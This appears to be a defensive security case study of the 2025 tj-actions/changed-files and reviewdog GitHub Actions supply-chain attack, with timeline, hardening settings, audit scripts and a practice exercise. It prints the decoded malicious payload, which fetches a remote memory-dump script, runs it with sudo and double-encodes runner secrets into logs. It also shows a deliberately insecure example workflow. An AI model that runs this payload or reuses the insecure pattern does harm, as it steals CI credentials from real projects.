In March 2025 an attacker holding a stolen bot token moved nearly every tag of tj-actions/changed-files to a commit that read secrets from the runner's memory and printed them, double base64-encoded, into workflow logs (CVE-2025-30066). Researchers traced the token to a reviewdog action compromised three days earlier (CVE-2025-30154). Workflows pinned to a full commit SHA were unaffected. Pin actions by SHA, keep long-lived tokens out of CI, and check logs from the exposure window.
- A version tag is a movable pointer: one push moved v1 through v45.0.7 to new code, while workflows pinned to a 40-character commit SHA kept running what they had reviewed.
- Log masking did not help. The payload base64-encoded its output twice, and runners redact only exact copies of secret values.
- Pinning the outer action is not enough: reviewdog's composite actions called
reviewdog/action-setup@v1internally, so they ran the bad code whatever their own pin. - The chain began with a
pull_request_targetworkflow that leaked a maintainer's personal access token; long-lived tokens stored as CI secrets carried it from SpotBugs to reviewdog to tj-actions. - About 23,000 repositories referenced the action, but Endor Labs counted 218 that printed secrets, mostly
GITHUB_TOKENs that expire when the job ends. - It happened again in March 2026 when 76 of 77 trivy-action tags were moved; the one tag backed by an immutable release was not.
Incident at a glance
- Dates
- to
- Category
- Supply-chain compromise
- Organizations
- tj-actions/changed-files
- reviewdog
- SpotBugs
- Coinbase
- Impact
- Moved version tags ran code that dumped runner memory and printed CI secrets, double base64-encoded, into workflow logs. Endor Labs found 218 public repositories that leaked secrets, mostly
GITHUB_TOKENvalues that expire when the job ends. - How it was found
- StepSecurity's Harden-Runner flagged an unexpected call to
gist.githubusercontent.comfrom CI jobs, and StepSecurity opened public issue #2463 at 20:52 UTC on 14 March 2025.
Timeline
- A
pull_request_targetworkflow in spotbugs/sonar-findbugs leaks a maintainer's personal access token. - With that token the attacker dumps SpotBugs secrets, gets a token that can push to reviewdog, and points
reviewdog/action-setup@v1at malicious code from 18:42 to 20:31 UTC. - tj-actions' CI runs the bad reviewdog action and leaks the tj-actions-bot token.
- A variant aimed at coinbase/agentkit runs at 15:10 UTC and obtains a write token.
- Nearly every tj-actions/changed-files tag, v1 to v45.0.7, is moved to malicious commit
0e58ed8. - StepSecurity opens issue #2463 at 20:52 UTC.
- GitHub publishes GHSA-mrrh-fwg8-r2c3 and takes the repository offline while the tags are cleaned.
- tj-actions/changed-files 46.0.1 is released.
- CISA issues an alert and adds CVE-2025-30066 to the Known Exploited Vulnerabilities catalog.
- CISA adds CVE-2025-30154 to the catalog.
| Setting | Value | Note | Source |
|---|---|---|---|
| Third-party action reference | Full 40-character commit SHA, version in a trailing comment | The only immutable reference. Check that the commit belongs to the action's own repository, not a fork. | https://docs.github.com/en/actions/reference/security/secure-use#using-third-party-actions |
| Allowed-actions policy | Require actions to be pinned to a full-length commit SHA | Repository, organization or enterprise setting since August 2025; a run that uses an unpinned action fails. | https://github.blog/changelog/2025-08-15-github-actions-policy-now-supports-blocking-and-sha-pinning-actions |
| Blocking a compromised action | !owner/action@ref entry in the allowed-actions list | Block entries are evaluated last and override any allow rule. | https://github.blog/changelog/2025-08-15-github-actions-policy-now-supports-blocking-and-sha-pinning-actions |
| Immutable releases (action publishers) | Enabled for the repository or organization | The tag of a new release cannot be moved or deleted. Releases created before you enable it stay mutable until republished. | https://docs.github.com/en/code-security/concepts/supply-chain-security/immutable-releases |
| Tag ruleset (action publishers) | Restrict updates, restrict deletions and block force pushes on release tags | Only accounts with bypass permission can move a matching tag, even if another write token leaks. | https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets |
| Workflow token scope | permissions: {} at the top, scopes granted per job | New repositories default to a read-only GITHUB_TOKEN since February 2023; older ones may still grant write. | https://github.blog/changelog/2023-02-02-github-actions-updating-the-default-github_token-permissions-to-read-only/ |
| Automation credentials | GitHub App installation token or OIDC, not a personal access token | Installation tokens expire after one hour; GITHUB_TOKEN expires when the job ends. | https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app-installation |
| Git push events in the audit log | Enterprise accounts only; on Enterprise Cloud via REST API, streaming or export, kept 7 days | Not shown in the web audit log, and Enterprise Server must enable them. Stream them if you need a history of tag moves. | https://docs.github.com/en/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization |
- Search every workflow file and every composite
action.ymlyou depend on foruses:references that are not 40-hex commit SHAs; zizmor'sunpinned-usesaudit should report none. - Turn on the SHA-pinning policy, push a test workflow that uses an action by tag, and confirm the run fails.
- For each pinned action, open the commit on GitHub and confirm it is on the action's own repository, not a commit that exists only in a fork.
- Run
find_leaks.pyover logs from a test job that prints a double-encoded fake secret, and confirm it reports the secret's name and never its value. - List the secrets each job can read and confirm that no job running third-party code holds a personal access token or a long-lived publish token.
- If you publish an action, try to force-push an existing release tag from an account without bypass and confirm the ruleset or immutable release rejects it.
- Applies to
- tj-actions/changed-files Tags v1 to v45.0.7 pointed at 0e58ed8 on 14-15 March 2025; fixed in 46.0.1
- reviewdog/action-setup v1 tag, 11 March 2025 18:42-20:31 UTC, and the reviewdog actions that call it
- aquasecurity/trivy-action Tags 0.0.1 to 0.34.2 on 19-20 March 2026; 0.35.0 unaffected
- GitHub Actions github.com, as of 2026-10
GitHub Actions workflows that use third-party actions. A version tag is mutable; only a full commit SHA pins the code that runs.
- Part of
- Workflow: Respond to a vulnerability. Collection: case studies
Learning goals and prerequisites
What you will learn
- Explain how a moved tag delivered malicious code to thousands of workflows and why SHA pins did not.
- Trace the token chain from a
pull_request_targetworkflow to a mass compromise. - Collect and scan workflow logs for encoded secret dumps without exposing the values.
- Choose the pinning, token and egress controls that would have stopped or contained the attack.
Before you start
Developers, platform engineers and AppSec engineers who write GitHub Actions workflows, publish actions, or respond to CI incidents
- Read a GitHub Actions workflow, including
uses:references, permissions and secrets. - Know what a Git tag, a commit SHA and a fork are.
- Basic shell and Python; the GitHub CLI for the log script.
On 14 March 2025, tj-actions/changed-files, a GitHub Action that lists the files a pull request or push changed, began printing CI secrets into workflow logs. About 23,000 repositories referenced it. An attacker holding a personal access token (PAT) for the project's bot account created a commit dressed up as a Renovate dependency update and moved nearly every existing version tag, v1 through v45.0.7, to point at it. Every workflow that referenced the action by tag ran that commit on its next run. Workflows pinned to a full commit SHA kept running the code they had chosen.
The bot token was the last link in a chain. Palo Alto Networks Unit 42 traced it to a pull_request_target workflow in a SpotBugs repository that leaked a maintainer's PAT in December 2024. In March 2025 the attacker used that PAT to steal a second one that could push to reviewdog, pointed the v1 tag of reviewdog/action-setup at malicious code for under two hours (CVE-2025-30154), and caught the tj-actions bot token when tj-actions' own CI ran an action built on reviewdog. Unit 42 also found that the first target was a single Coinbase repository, less than two hours before the mass retagging.
All times are UTC. The SpotBugs and Coinbase steps come from Unit 42's investigation. The reviewdog maintainer separately confirmed that the token used against reviewdog was stolen in an attack on another project, and GitHub support supplied the tag's reflog, which identified the account that moved v1.
| When (UTC) | Event | Source |
|---|---|---|
| 2024-12-06 | A pull request to spotbugs/sonar-findbugs abuses a pull_request_target workflow and steals a maintainer's PAT stored as a repository secret. | Unit 42 |
| 2025-03-11 10:50-10:52 | Using that PAT, the attacker adds a throwaway account to spotbugs/spotbugs and runs a workflow that dumps its secrets, including a PAT with push access to reviewdog. | Unit 42 |
| 2025-03-11 18:42-20:31 | reviewdog/action-setup@v1 points at malicious code. tj-actions' CI runs it and leaks the tj-actions-bot PAT. | reviewdog advisory; Unit 42 |
| 2025-03-14 15:10 | A variant aimed at coinbase/agentkit runs there and obtains a write token. Coinbase removes the workflow at 16:37. | Unit 42 |
| 2025-03-14 about 16:00-17:00 | Nearly all tj-actions/changed-files tags are moved to commit 0e58ed8. | StepSecurity; Unit 42 |
| 2025-03-14 20:52 | StepSecurity opens public issue #2463 after its runner monitor flags calls to gist.githubusercontent.com. | tj-actions issue #2463 |
| 2025-03-15 to 03-16 | GitHub publishes GHSA-mrrh-fwg8-r2c3 at 06:30 and takes the repository offline from about 14:00 to 22:00 while the tags are cleaned. Version 46.0.1 follows at 04:12 on 16 March. | GitHub advisory; StepSecurity; release page |
| 2025-03-18 and 03-24 | CISA issues an alert and adds CVE-2025-30066, then CVE-2025-30154, to the Known Exploited Vulnerabilities catalog. | CISA |
Commit 0e58ed8 changed the action's bundled index.js to run a base64-encoded shell script. On Linux runners the script downloaded a public Python memory-dump tool from a GitHub gist, ran it with sudo against the Runner.Worker process, kept every entry the runner had marked as a secret, and printed the result to the job log. GitHub's advisory and NVD both describe this code; the decoded script is below.
Two choices made it work. The runner holds the job's secrets in memory in a recognizable JSON shape, so one grep found every secret the job could use, not only those passed to this step. And the output was base64-encoded twice. Runners redact only exact matches of known secret values, so an encoded copy passes straight through. In a public repository anyone can read the logs, so the attacker needed no server of their own; in a private one the secrets were exposed to everyone with read access.
# Decoded from the base64 string added to index.js in commit 0e58ed8.
# Shown for recognition only; the gist it fetched has been removed.
if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fiThis pattern was common in March 2025. The action is referenced by tag. The job has no permissions block, so in older repositories it still receives a write-scoped GITHUB_TOKEN. A publish token sits in the same job, where any step's code can read it from the runner's memory. The changed-file list is expanded straight into a shell command; the action escapes file names by default, but passing outputs through env: does not depend on that.
# As many workflows were in March 2025: a mutable tag and a secret in the same job
name: lint-changed
on: pull_request
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- id: changed
uses: tj-actions/changed-files@v45 # a tag: whoever can push to the repo can move it
- run: ./scripts/lint.sh ${{ steps.changed.outputs.all_changed_files }}
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # in memory for every step in this jobThe fixed job pins both actions to full commit SHAs with the version in a comment, so Dependabot can still propose updates. permissions: {} removes every scope at workflow level and the job asks only for read access. The publish token is gone: publishing belongs in a separate workflow that runs no third-party code, ideally through trusted publishing rather than a stored token. The file list reaches the shell through an environment variable instead of template expansion; in the lab at /labs/actions-injection/ you repair a linter that must flag the first and accept the second.
zizmor 1.30.1 reports unpinned references, excessive permissions, persisted checkout credentials and template injection in the first workflow and nothing in the second. Pinning changes how you hear about fixes: Dependabot raises no alerts for actions pinned to a SHA, so let Dependabot version updates move your pins and review each bump before merging.
name: lint-changed
on: pull_request
permissions: {}
jobs:
lint:
runs-on: ubuntu-latest
permissions:
contents: read
pull-requests: read # changed-files can list PR files through the API
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
fetch-depth: 0
persist-credentials: false
- id: changed
uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
- name: Lint changed files
env:
CHANGED: ${{ steps.changed.outputs.all_changed_files }}
run: |
read -ra files <<< "$CHANGED"
./scripts/lint.sh "${files[@]}"The 23,000 figure counts repositories that referenced the action, not victims. Endor Labs found 5,416 repositories that referenced it in workflow files; 614 of them ran an affected workflow between 15:00 UTC on 14 March and 15:00 UTC on 15 March, and 218 printed secrets to their logs, under 72 distinct names. Most were GITHUB_TOKEN values, which expire when the job ends, but a few dozen were long-lived Docker Hub, npm and AWS credentials. Endor could see only public repositories; private repositories that ran the code also wrote secrets into their own logs.
reviewdog's exposure was the v1 tag of action-setup for 109 minutes on 11 March, plus every action that called it: action-shellcheck, action-composite-template, action-staticcheck, action-ast-grep and action-typos. Coinbase's agentkit workflow ran a variant aimed at it and leaked a token with write access; Coinbase told Unit 42 the attack caused no damage.
Detection came from outside the project. StepSecurity's Harden-Runner, which records where CI jobs connect, flagged an unexpected call to gist.githubusercontent.com, and its team opened a public issue at 20:52 UTC on 14 March. GitHub published its advisory early on 15 March, revoked the stolen PAT and took the repository offline for about eight hours while the maintainer removed the malicious commit from every tag.
- tj-actions changed the bot account's password, moved it to a passkey, reduced its role, added tag protection, required signed commits and stopped using PATs in the organization.
- reviewdog turned off the automated invitations that gave contributors write access (118 people held it), removed write access from all but a few maintainers, pinned every internal action reference by SHA and rotated its tokens.
- CISA told users to audit runs of tj-actions/changed-files between 12 March 00:00 and 15 March 12:00 UTC and of reviewdog actions between 18:42 and 20:31 UTC on 11 March, look in logs for double-encoded base64 output, and rotate whatever it contained.
Logs are your evidence, and GitHub deletes them after the retention period, 90 days by default. Since October 2026 the runs themselves expire on the same schedule. The script lists every run created in a window and saves each run's log archive with the GitHub CLI. Run it for each affected repository as soon as an advisory lands, store the archives somewhere access-controlled, and only then delete the logs on GitHub that contain secrets.
#!/usr/bin/env bash
# Usage: audit-runs.sh OWNER/REPO [WINDOW] (WINDOW uses search date syntax)
# Lists the workflow runs created in the exposure window and saves their logs.
set -euo pipefail
repo="$1"
window="${2:-2025-03-14..2025-03-15}"
out="logs/${repo//\//_}"
mkdir -p "$out"
gh api --paginate "repos/$repo/actions/runs?created=$window&per_page=100" \
--jq '.workflow_runs[] | [.id, .event, .created_at, .name] | @tsv' |
while IFS=$'\t' read -r id event created name; do
printf '%s %s %-12s %s\n' "$created" "$id" "$event" "$name"
gh api "repos/$repo/actions/runs/$id/logs" > "$out/$id.zip" 2>/dev/null ||
{ rm -f "$out/$id.zip"; echo " no logs (expired or deleted)"; }
doneThis scanner reverses the payload's encoding. It looks for long base64 strings, decodes them once and then twice, and reports the names of entries in the runner's secret format, never the values. Against synthetic logs built with the payload's exact grep and base64 pipeline it reported the three planted names, and it reported nothing on real run logs or on lines holding other base64 data. Treat every name it prints as compromised and rotate it at the issuer, then check the issuer's logs for use.
"""Find secret dumps like the tj-actions payload's in GitHub Actions run logs.
Usage: python3 find_leaks.py logs/ (log .zip archives, .txt files or folders)
Reports the file, line and secret NAMES to rotate. It never prints values.
"""
import base64
import binascii
import re
import sys
import zipfile
from pathlib import Path
BLOB = re.compile(rb"[A-Za-z0-9+/]{40,}={0,2}")
ENTRY = re.compile(rb'"([^"]+)":\{"value":"[^"]*","isSecret":true\}')
def b64(data):
try:
return base64.b64decode(data.strip(), validate=True)
except (binascii.Error, ValueError):
return None
def secret_names(blob):
once = b64(blob)
twice = b64(once) if once else None
for text in (once, twice): # the 2025 payloads encoded twice
if text and (names := ENTRY.findall(text)):
return sorted({n.decode() for n in names})
return []
def scan(label, data):
for number, line in enumerate(data.splitlines(), 1):
for blob in BLOB.findall(line):
if names := secret_names(blob):
print(f"{label}:{number}: rotate {', '.join(names)}")
def files(path):
if path.is_dir():
yield from sorted(p for p in path.rglob("*") if p.is_file())
else:
yield path
for arg in sys.argv[1:]:
for path in files(Path(arg)):
if zipfile.is_zipfile(path):
with zipfile.ZipFile(path) as archive:
for member in archive.namelist():
scan(f"{path}!{member}", archive.read(member))
else:
scan(str(path), path.read_bytes())The SSDF column names NIST SP 800-218 version 1.1 practices and tasks. Most apply to anyone who runs third-party actions; the last rows apply to anyone who publishes one.
| Control | Who | SSDF practice or standard | Guide |
|---|---|---|---|
| Pin every third-party action to a full commit SHA, enforce it by policy, and review pin updates | Workflow owners | SSDF PW.4.1, PW.4.4 | /domains/supply-chain/ci-cd/github-actions-hardening/ |
| Read what composite actions call, and prefer actions that pin their own dependencies | Workflow owners | SSDF PW.4.4 | /domains/supply-chain/ci-cd/github-actions-hardening/ |
No personal access tokens in CI: per-job GITHUB_TOKEN permissions, GitHub App tokens or OIDC | Workflow owners and maintainers | SSDF PO.5.1, PS.1.1 | /domains/identity-crypto/identity/workload-identity-models/ |
Never run pull request code under pull_request_target | Maintainers | SSDF PO.3.2, PO.5.1 | /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ |
| Keep jobs that run third-party code apart from jobs that hold publish or deploy credentials | Workflow owners | SSDF PO.5.1 | /domains/supply-chain/ci-cd/build-integrity/ |
| Monitor where runners connect and alert on new destinations | Workflow owners | SSDF PO.3.2 (monitor tools for anomalous behavior) | /domains/supply-chain/ci-cd/github-actions-hardening/ |
| Immutable releases and a tag ruleset that blocks updates and deletions | Action publishers | SSDF PS.1.1, PS.2.1 | /domains/supply-chain/ci-cd/source-repository-protection/ |
| Revoke every exposed credential at once after an incident | Everyone affected | SSDF RV.2.2 | /domains/identity-crypto/secrets/leaked-secret-response/ |
Every link in this chain was a long-lived credential sitting where untrusted code could reach it. The controls below break the chain at different points, so use several.
- Pin every third-party action to a full commit SHA, enforce it with the allowed-actions policy, and review automated pin bumps instead of merging them blindly; /domains/supply-chain/ci-cd/github-actions-hardening/ covers the settings.
- Read what a composite action calls, and favor actions that pin their own dependencies.
- Keep personal access tokens out of CI. Use
GITHUB_TOKENwith per-job permissions, GitHub App installation tokens, or OIDC for cloud and registry access. - Never run pull request code under
pull_request_target; this chain started there, and /domains/supply-chain/ci-cd/untrusted-workflow-boundaries/ shows the safe split. - Keep jobs that run third-party code apart from jobs that hold publish or deploy credentials.
- Watch where runners connect. A CI job that suddenly reaches a new host was the earliest signal here.
- If you publish an action, turn on immutable releases and a tag ruleset that blocks updates and deletions.
- After an incident, revoke all exposed credentials at once. A staggered rotation let an attacker back into Trivy in 2026.
- The same failure, a mutable download running with CI secrets, hit Codecov's Bash Uploader in 2021: /domains/supply-chain/ci-cd/case-study-codecov/.
On 19 March 2026 an attacker force-pushed 76 of the 77 version tags of aquasecurity/trivy-action, and all seven tags of setup-trivy, to code that dumped Runner.Worker memory and sent what it found to attacker infrastructure (CVE-2026-33634). The one tag that held, 0.35.0, belonged to an immutable release. Aqua traced the access to an incident a few weeks earlier, after which credentials had been rotated in stages rather than all at once. The FBI attributes the Trivy compromise to a criminal group it calls TeamPCP. In May 2026 the TanStack npm compromise reused the same memory-dump script to steal an OIDC publishing token: /domains/supply-chain/dependencies/case-study-shai-hulud/.
GitHub has added controls since 2025. Organizations can require SHA pinning and block named actions (August 2025), immutable releases lock tags (October 2025), suspected malicious workflows in public repositories are held for approval (July 2026), and from 2 November 2026 a default rule blocks pull_request_target in public repositories that have no event policy of their own. Workflow-level dependency locking, which would also pin the actions nested inside composite actions, is on GitHub's 2026 Actions security roadmap. Pinning enforcement and immutable releases are opt-in, so check that yours are on.
The public record does not establish who carried out the 2025 attack. The chain from SpotBugs to reviewdog to tj-actions comes from Unit 42's investigation, partly confirmed by the reviewdog maintainer and by the tag reflog GitHub supplied; no single first-party postmortem covers every step. Endor Labs' counts cover public repositories only, so how many private repositories ran the payload, and whether any secret printed to a log was later used, is not known. Coinbase's statement that the attack caused no damage is Coinbase's, as reported by Unit 42. The FBI's attribution to TeamPCP concerns the 2026 Trivy compromise, not the 2025 chain.
Guided practice
You run CI for an organization. A bulletin says tj-actions/changed-files tags v1 to v45.0.7 pointed at credential-dumping commit 0e58ed8 on 14-15 March 2025, and reviewdog/action-setup@v1 pointed at malicious code on 11 March from 18:42 to 20:31 UTC. Decide which repositories were exposed, what to rotate first, and what to change.
Supplied scenario material
repo visibility workflow and reference secrets in that job runs (UTC)
web public lint.yml tj-actions/changed-files@v45 NPM_TOKEN (publish), GITHUB_TOKEN write 14 Mar 17:05, 17:22, 17:40
api private ci.yml tj-actions/changed-files@v44.5.1 AWS keys for production 15 Mar 09:12
docs public pr.yml tj-actions/changed-files@<SHA of v45.0.6, Jan 2025> none (GITHUB_TOKEN read) 14 Mar 18:00
tools public ci.yml tj-actions/changed-files@0e58ed86... # v45.0.7 GITHUB_TOKEN read 14 Mar 18:41 (Renovate pin bump merged 18:30)
infra private plan.yml acme/setup-tools@<40-hex SHA> DEPLOY_PAT (write to every org repo) 11 Mar 19:05
acme/setup-tools/action.yml is a composite action containing: uses: reviewdog/action-setup@v1
web lint.yml log, 14 Mar 17:06:02Z: one long base64 string on its own line1. Classify exposure
For each repository, decide whether the malicious code ran and who could read the output.
Expected result and reasoning
web: ran; public logs, so treat
NPM_TOKENas public. api: ran; logs readable by everyone with repo read access. docs: not exposed, pinned to a pre-incident SHA. tools: exposed despite a SHA pin, because the bot moved the pin to the malicious commit. infra: exposed through the composite action's nested reviewdog@v1 reference inside the reviewdog window.2. Read the logs without spreading secrets
Download the runs from the window and identify what leaked.
Expected result and reasoning
Use
audit-runs.shper repository, thenfind_leaks.py, which prints names such asNPM_TOKENandGITHUB_TOKENbut not values. Keep the archives access-controlled as evidence, then delete the GitHub logs that contain secrets. Never paste decoded values into tickets or chat.3. Rotate in order of reach
Order the rotations and say what to check after each.
Expected result and reasoning
First
NPM_TOKEN(public, long-lived, can publish) andDEPLOY_PAT(write to every repository), then the AWS keys. Check npm publish history, the organization audit log and CloudTrail for use during and after the window.GITHUB_TOKENvalues expired with their jobs, but review what those jobs could have changed while running.4. Close the paths
List the workflow, policy and credential changes that would have stopped or limited each exposure.
Expected result and reasoning
Enforce SHA pinning with the allowed-actions policy and review pin bumps; pin the nested reviewdog reference inside acme/setup-tools and give it immutable releases and a tag ruleset; set
permissions: {}with per-job scopes; move publishing to a separate job with trusted publishing; replaceDEPLOY_PATwith a GitHub App installation token or OIDC.
The inventory and run times are synthetic but fall inside the published windows. Do not decode real secret dumps into shared systems; treat any real double-encoded output as compromised credentials.
Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.
No draft saved on this device yet.
Sources & further reading
The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.
- GitHub Advisory GHSA-mrrh-fwg8-r2c3: tj-actions/changed-files (CVE-2025-30066). 15 March 2025.
- GitHub Advisory GHSA-qmg3-hpqr-gqvc: reviewdog actions (CVE-2025-30154). 19 March 2025.
- CISA: Supply chain compromise of tj-actions/changed-files and reviewdog/action-setup (rev. 26 March 2025)
- tj-actions/changed-files issue #2463: incident report and maintainer response
- reviewdog issue #2079: maintainer security advisory and root-cause updates
- Unit 42: GitHub Actions supply chain attack, root cause via SpotBugs (updated 2 April 2025)
- StepSecurity: Harden-Runner detection of the tj-actions/changed-files compromise
- Endor Labs: blast radius of the tj-actions/changed-files attack
- Aqua Security advisory GHSA-69fq-xp46-6x23: trivy-action and setup-trivy tags hijacked (CVE-2026-33634)
- FBI FLASH-20260702-01: Cyber criminal group TeamPCP (Trivy and related compromises). 2 July 2026.
- GitHub: What's coming to our GitHub Actions 2026 security roadmap. 26 March 2026.
- GitHub Changelog: Workflow execution protections in GitHub Actions generally available. 17 September 2026.
- OWASP Top 10 CI/CD Security Risks: CICD-SEC-8 Ungoverned Usage of 3rd Party Services. v1.0 (2022).
Reference information
- SDLC phase
- DevelopmentReleaseMaintenance
- CAPEC attack patterns